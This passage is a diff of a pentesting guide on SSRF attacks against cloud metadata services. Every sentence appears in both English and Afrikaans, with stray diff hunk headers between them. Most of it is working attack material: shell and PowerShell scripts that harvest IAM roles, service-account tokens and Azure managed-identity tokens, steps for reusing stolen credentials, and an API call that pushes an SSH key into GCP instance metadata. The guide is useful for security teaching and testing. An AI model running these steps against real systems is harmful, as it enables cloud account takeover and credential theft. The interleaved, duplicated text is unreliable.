EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
@ -24,11 +23,11 @@ URL="http://169.254.169.254/latest/meta-data"
aws_req=""
if [ "$(command -v curl)" ]; then
aws_req="curl -s -f -H '$HEADER'"
aws_req="curl -s -f -H '$HEADER'"
elif [ "$(command -v wget)" ]; then
aws_req="wget -q -O - -H '$HEADER'"
aws_req="wget -q -O - -H '$HEADER'"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi
printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
@ -46,25 +45,25 @@ eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"
echo ""
echo "Network Info"
for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
echo "Mac: $mac"
printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
echo ""
echo "Mac: $mac"
printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
echo ""
done
echo ""
echo "IAM Role"
eval $aws_req "$URL/iam/info"
for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
echo "Role: $role"
eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
echo ""
echo "Role: $role"
eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
echo ""
done
echo ""
@ -76,89 +75,79 @@ echo ""
echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
```
As 'n **openlik beskikbare IAM-akkrediteerings** blootgestelde voorbeeld kan jy besoek: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
As a **publicly available IAM credentials** exposed example you can visit: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
Jy kan ook openbare **EC2-sekuriteitsakkrediteerings** nagaan in: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
You can also check public **EC2 security credentials** in: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
You can then take **those credentials and use them with the AWS CLI**. This will allow you to do **anything that role has permissions** to do.
To take advantage of the new credentials, you will need to crate a new AWS profile like this one:
Jy kan dan **daardie akkrediteerings neem en dit saam met die AWS CLI gebruik**. Dit sal jou toelaat om **enige iets te doen wat daardie rol toestemming het** om te doen.
Om voordeel te trek uit die nuwe akkrediteerings, sal jy 'n nuwe AWS-profiel moet skep soos hierdie een:
```
[profilename]
aws_access_key_id = ASIA6GG71[...]
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT[...]
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
```
Let wel op die **aws_session_token**, dit is onontbeerlik vir die profiel om te werk.
Notice the **aws_session_token**, this is indispensable for the profile to work.
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) kan gebruik word met die ontdekte geloofsbriewe om jou voorregte uit te vind en te probeer om voorregte te eskaleer.
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) can be used with the discovered credentials to find out your privileges and try to escalate privileges
### SSRF in AWS ECS (Container Service) geloofsbriewe
### SSRF in AWS ECS (Container Service) credentials
**ECS**, is a logical group of EC2 instances on which you can run an application without having to scale your own cluster management infrastructure because ECS manages that for you. If you manage to compromise service running in **ECS**, the **metadata endpoints change**.
If you access _**http://169.254.170.2/v2/credentials/\<GUID>**_ you will find the credentials of the ECS machine. But first you need to **find the \<GUID>**. To find the \<GUID> you need to read the **environ** variable **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI** inside the machine.\
You could be able to read it exploiting an **Path Traversal** to `file:///proc/self/environ`\
The mentioned http address should give you the **AccessKey, SecretKey and token**.
**ECS** is 'n logiese groep van EC2-instanties waarop jy 'n toepassing kan uitvoer sonder om jou eie klusterbestuursinfrastruktuur te skaal, omdat ECS dit vir jou bestuur. As jy daarin slaag om 'n diens wat in **ECS** loop te kompromitteer, sal die **metadata eindpunte verander**.
As jy _**http://169.254.170.2/v2/credentials/\<GUID>**_ toegang verkry, sal jy die geloofsbriewe van die ECS-masjien vind. Maar eers moet jy die **\<GUID>** vind. Om die \<GUID> te vind, moet jy die **environ** veranderlike **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI** binne die masjien lees.\
Jy kan dit lees deur 'n **Path Traversal** na `file:///proc/self/environ` te benut.\
Die genoemde http adres behoort jou die **AccessKey, SecretKey en token** te gee.
```bash
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
```
> [!NOTE]
> Note that in **some cases** you will be able to access the **EC2 metadata instance** from the container (check IMDSv2 TTL limitations mentioned previously). In these scenarios from the container you could access both the container IAM role and the EC2 IAM role.
> Let daarop dat jy in **sommige gevalle** toegang tot die **EC2 metadata instansie** vanaf die houer sal hê (kyk na die IMDSv2 TTL beperkings wat vroeër genoem is). In hierdie scenario's kan jy vanaf die houer toegang tot beide die houer IAM rol en die EC2 IAM rol kry.
### SSRF for AWS Lambda <a href="#id-6f97" id="id-6f97"></a>
### SSRF vir AWS Lambda <a href="#id-6f97" id="id-6f97"></a>
In this case the **credentials are stored in env variables**. So, to access them you need to access something like **`file:///proc/self/environ`**.
In hierdie geval word die **bewyse in omgewingsveranderlikes gestoor**. So, om toegang tot hulle te verkry, moet jy iets soos **`file:///proc/self/environ`** benader.
The **name** of the **interesting env variables** are:
Die **name** van die **interessante omgewingsveranderlikes** is:
- `AWS_SESSION_TOKEN`
- `AWS_SECRET_ACCESS_KEY`
- `AWS_ACCES_KEY_ID`
Moreover, in addition to IAM credentials, Lambda functions also have **event data that is passed to the function when it is started**. This data is made available to the function via the [runtime interface](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) and could contain **sensitive** **information** (like inside the **stageVariables**). Unlike IAM credentials, this data is accessible over standard SSRF at **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.
Boonop, benewens IAM bewese, het Lambda funksies ook **gebeurtenisdata wat aan die funksie oorgedra word wanneer dit begin**. Hierdie data is beskikbaar vir die funksie via die [runtime interface](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) en kan **sensitiewe** **inligting** bevat (soos binne die **stageVariables**). Anders as IAM bewese, is hierdie data oor standaard SSRF toeganklik by **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.
> [!WARNING]
> Note that **lambda credentials** are inside the **env variables**. So if the **stack trace** of the lambda code prints env vars, it's possible to **exfiltrate them provoking an error** in the app.
> Let daarop dat **lambda bewese** binne die **omgewingsveranderlikes** is. So as die **stack trace** van die lambda kode omgewingsveranderlikes druk, is dit moontlik om hulle te **exfiltreer deur 'n fout** in die toepassing te veroorsaak.
### SSRF URL for AWS Elastic Beanstalk <a href="#id-6f97" id="id-6f97"></a>
We retrieve the `accountId` and `region` from the API.
### SSRF URL vir AWS Elastic Beanstalk <a href="#id-6f97" id="id-6f97"></a>
Ons verkry die `accountId` en `region` vanaf die API.
```
http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
```
We then retrieve the `AccessKeyId`, `SecretAccessKey`, and `Token` from the API.
Ons haal dan die `AccessKeyId`, `SecretAccessKey`, en `Token` van die API.
```
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
```
![](https://miro.medium.com/max/60/0*4OG-tRUNhpBK96cL?q=20) ![](https://miro.medium.com/max/1469/0*4OG-tRUNhpBK96cL)
Then we use the credentials with `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`.
Dan gebruik ons die akrediteerings met `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`.
## GCP <a href="#id-6440" id="id-6440"></a>
You can [**find here the docs about metadata endpoints**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata).
Jy kan [**hier die dokumentasie oor metadata eindpunte vind**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata).
### SSRF URL for Google Cloud <a href="#id-6440" id="id-6440"></a>
### SSRF URL vir Google Cloud <a href="#id-6440" id="id-6440"></a>
Requires the HTTP header **`Metadata-Flavor: Google`** and you can access the metadata endpoint in with the following URLs:
Vereis die HTTP koptekst **`Metadata-Flavor: Google`** en jy kan die metadata eindpunt bereik met die volgende URL's:
- http://169.254.169.254
- http://metadata.google.internal
- http://metadata
Interesting endpoints to extract information:
Interessante eindpunte om inligting te onttrek:
```bash
# /project
# Project name and number
@ -198,22 +187,22 @@ curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/insta
curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script"
# Network Interfaces
for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do
echo " IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip")
echo " Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
echo " Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
echo " DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
echo " Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network")
echo " ============== "
echo " IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip")
echo " Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
echo " Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
echo " DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
echo " Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network")
echo " ============== "
done
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo " Name: $sa"
echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo " ============== "
echo " Name: $sa"
echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo " ============== "
done
# K8s Attributtes
## Cluster location
@ -231,68 +220,58 @@ curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/insta
# All custom project attributes
curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"
-H "Metadata-Flavor: Google"
# All custom project attributes instance attributes
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"
-H "Metadata-Flavor: Google"
```
Beta does NOT require a header atm (thanks Mathias Karlsson @avlidienbrunn)
Beta vereis NIE 'n kopstuk nie (dankie Mathias Karlsson @avlidienbrunn)
```
http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
```
> [!CAUTION]
> In order to **use the exfiltrated service account token** you can just do:
> Om die **uitgehaalde diensrekeningsteken** te gebruik, kan jy net doen:
>
> ```bash
> # Via env vars
> # Via omgewings veranderlikes
> export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
> gcloud projects list
>
> # Via setup
> # Via opstelling
> echo "<token>" > /some/path/to/token
> gcloud config set auth/access_token_file /some/path/to/token
> gcloud projects list
> gcloud config unset auth/access_token_file
> ```
### Add an SSH key <a href="#id-3e24" id="id-3e24"></a>
Extract the token
### Voeg 'n SSH-sleutel by <a href="#id-3e24" id="id-3e24"></a>
Onttrek die teken
```
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
```
Check the scope of the token (with the previous output or running the following)
Kontroleer die omvang van die token (met die vorige uitvoer of deur die volgende uit te voer)
```bash
curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA {
"issued_to": "101302079XXXXX",
"audience": "10130207XXXXX",
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
"expires_in": 2443,
"access_type": "offline"
"issued_to": "101302079XXXXX",
"audience": "10130207XXXXX",
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
"expires_in": 2443,
"access_type": "offline"
}
```
Now push the SSH key.
Nou druk die SSH-sleutel.
```bash
curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
-H "Content-Type: application/json"
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'
```
### Cloud Functions <a href="#id-9f1f" id="id-9f1f"></a>
The metadata endpoint works the same as in VMs but without some endpoints:
Die metadata-eindpunt werk dieselfde as in VMs, maar sonder sommige eindpunte:
```bash
# /project
# Project name and number
@ -308,23 +287,21 @@ curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/insta
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo " Name: $sa"
echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo " ============== "
echo " Name: $sa"
echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo " ============== "
done
```
## Digital Ocean <a href="#id-9f1f" id="id-9f1f"></a>
> [!WARNING]
> There isn't things like AWS Roles or GCP service account, so don't expect to find metadata bot credentials
Documentation available at [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)
> Daar is nie dinge soos AWS Roles of GCP diensrekening nie, so moenie verwag om metadata-bot geloofsbriewe te vind nie.
Dokumentasie beskikbaar by [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)
```
curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
@ -336,26 +313,25 @@ http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
curl http://169.254.169.254/metadata/v1.json | jq
```
## Azure <a href="#cea8" id="cea8"></a>
### Azure VM
[**Docs** in here](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=linux).
- **Must** contain the header `Metadata: true`
- Must **not** contain an `X-Forwarded-For` header
- **Moet** die kop `Metadata: true` bevat
- Moet **nie** 'n `X-Forwarded-For` kop bevat nie
> [!TIP]
> An Azure VM can have attached 1 system managed identity and several user managed identities. Which basically means that you can **impersonate all the managed identities attached to a VM**.
> 'n Azure VM kan 1 stelsel bestuurde identiteit en verskeie gebruikers bestuurde identiteite hê. Dit beteken basies dat jy kan **verpersoonlik al die bestuurde identiteite wat aan 'n VM gekoppel is**.
>
> By **default**, the metadata endpoint will use the **system assigned MI (if any)**.
> Deur **verstek** sal die metadata-eindpunt die **stelsel toegewyde MI (indien enige)** gebruik.
>
> Unfortunately I couldn't find any metadata endpoint indicating all the MIs a VM has attached.
> Ongelukkig kon ek nie enige metadata-eindpunt vind wat al die MI's aandui wat 'n VM gekoppel het nie.
>
> Therefore, to find all the attached MIs you can do:
> Daarom, om al die gekoppelde MI's te vind, kan jy doen:
>
> - Get **attached identities with az cli** (if you have already compromised a principal in the Azure tenant)
> - Kry **gekoppelde identiteite met az cli** (as jy reeds 'n prinsiep in die Azure-huurder gecompromitteer het)
>
> ```bash
> az vm identity show \
@ -363,17 +339,17 @@ curl http://169.254.169.254/metadata/v1.json | jq
> --name <vm-name>
> ```
>
> - Get **attached identities** using the default attached MI in the metadata:
> - Kry **gekoppelde identiteite** met die standaard gekoppelde MI in die metadata:
>
> ```bash
> export API_VERSION="2021-12-13"
>
> # Get token from default MI
> # Kry token van standaard MI
> export TOKEN=$(curl -s -H "Metadata:true" \
> "http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \
> | jq -r '.access_token')
>
> # Get needed details
> # Kry nodige besonderhede
> export SUBSCRIPTION_ID=$(curl -s -H "Metadata:true" \
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.subscriptionId')
> export RESOURCE_GROUP=$(curl -s -H "Metadata:true" \
@ -381,23 +357,22 @@ curl http://169.254.169.254/metadata/v1.json | jq
> export VM_NAME=$(curl -s -H "Metadata:true" \
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name')
>
> # Try to get attached MIs
> # Probeer om gekoppelde MI's te kry
> curl -s -H "Authorization: Bearer $TOKEN" \
> "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
> ```
>
> - **Get all** the defined managed identities in the tenant and **brute force** to see if any of them is attached to the VM:
> - **Kry al** die gedefinieerde bestuurde identiteite in die huur en **brute force** om te sien of enige van hulle aan die VM gekoppel is:
>
> ```bash
> az identity list
> ```
> [!CAUTION]
> In the token requests use any of the parameters `object_id`, `client_id` or `msi_res_id` to indicate the managed identity you want to use ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). If none, the **default MI will be used**.
> In die token versoeke gebruik enige van die parameters `object_id`, `client_id` of `msi_res_id` om die bestuurde identiteit aan te dui wat jy wil gebruik ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). As geen, sal die **standaard MI gebruik word**.
{{#tabs}}
{{#tab name="Bash"}}
```bash
HEADER="Metadata:true"
URL="http://169.254.169.254/metadata"
@ -421,11 +396,9 @@ curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&res
echo "Storage token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/"
```
{{#endtab}}
{{#tab name="PS"}}
```bash
# Powershell
Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64
@ -438,15 +411,14 @@ $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "h
/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
/metadata/instance/compute/userData?api-version=2021-01-01&format=text
```
{{#endtab}}
{{#endtabs}}
### Azure App & Functions Services
### Azure App & Functions Dienste
From the **env** you can get the values of **`IDENTITY_HEADER`** and **`IDENTITY_ENDPOINT`**. That you can use to gather a token to speak with the metadata server.
Van die **env** kan jy die waardes van **`IDENTITY_HEADER`** en **`IDENTITY_ENDPOINT`** kry. Dit kan jy gebruik om 'n token te verskaf om met die metadata bediener te praat.
Most of the time, you want a token for one of these resources:
Meestal wil jy 'n token vir een van hierdie hulpbronne hê:
- [https://storage.azure.com](https://storage.azure.com/)
- [https://vault.azure.net](https://vault.azure.net/)
@ -454,11 +426,10 @@ Most of the time, you want a token for one of these resources:
- [https://management.azure.com](https://management.azure.com/)
> [!CAUTION]
> In the token requests use any of the parameters `object_id`, `client_id` or `msi_res_id` to indicate the managed identity you want to use ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). If none, the **default MI will be used**.
> In die token versoeke gebruik enige van die parameters `object_id`, `client_id` of `msi_res_id` om die bestuurde identiteit aan te dui wat jy wil gebruik ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). As geen, sal die **standaard MI gebruik word**.
{{#tabs}}
{{#tab name="Bash"}}
```bash
# Check for those env vars to know if you are in an Azure app
echo $IDENTITY_HEADER
@ -476,30 +447,28 @@ curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net/&api-version=2019-08-0
# Get storage token
curl "$IDENTITY_ENDPOINT?resource=https://storage.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
```
{{#endtab}}
{{#tab name="PS"}}
```powershell
# Define the API version
$API_VERSION = "2019-08-01"
# Function to get a token for a specified resource
function Get-Token {
param (
[string]$Resource
)
$url = "$IDENTITY_ENDPOINT?resource=$Resource&api-version=$API_VERSION"
$headers = @{
"X-IDENTITY-HEADER" = $IDENTITY_HEADER
}
try {
$response = Invoke-RestMethod -Uri $url -Headers $headers -Method Get
$response.access_token
} catch {
Write-Error "Error obtaining token for $Resource: $_"
}
param (
[string]$Resource
)
$url = "$IDENTITY_ENDPOINT?resource=$Resource&api-version=$API_VERSION"
$headers = @{
"X-IDENTITY-HEADER" = $IDENTITY_HEADER
}
try {
$response = Invoke-RestMethod -Uri $url -Headers $headers -Method Get
$response.access_token
} catch {
Write-Error "Error obtaining token for $Resource: $_"
}
}
# Get Management Token
@ -529,11 +498,11 @@ Write-Host "Storage Token: $storageToken"
$Token = 'eyJ0eX..'
$URI='https://management.azure.com/subscriptions?api-version=2020-01-01'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value
@ -541,11 +510,11 @@ $RequestParams = @{
$Token = 'eyJ0eX..'
$URI = 'https://graph.microsoft.com/v1.0/applications'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value
@ -561,26 +530,24 @@ Get-AzResource : 'this.Client.SubscriptionId' cannot be null.
At line:1 char:1
+ Get-AzResource
+ ~~~~~~~~~~~~~~
+ CategoryInfo : CloseError: (:) [Get-AzResource],ValidationException
+ FullyQualifiedErrorId :
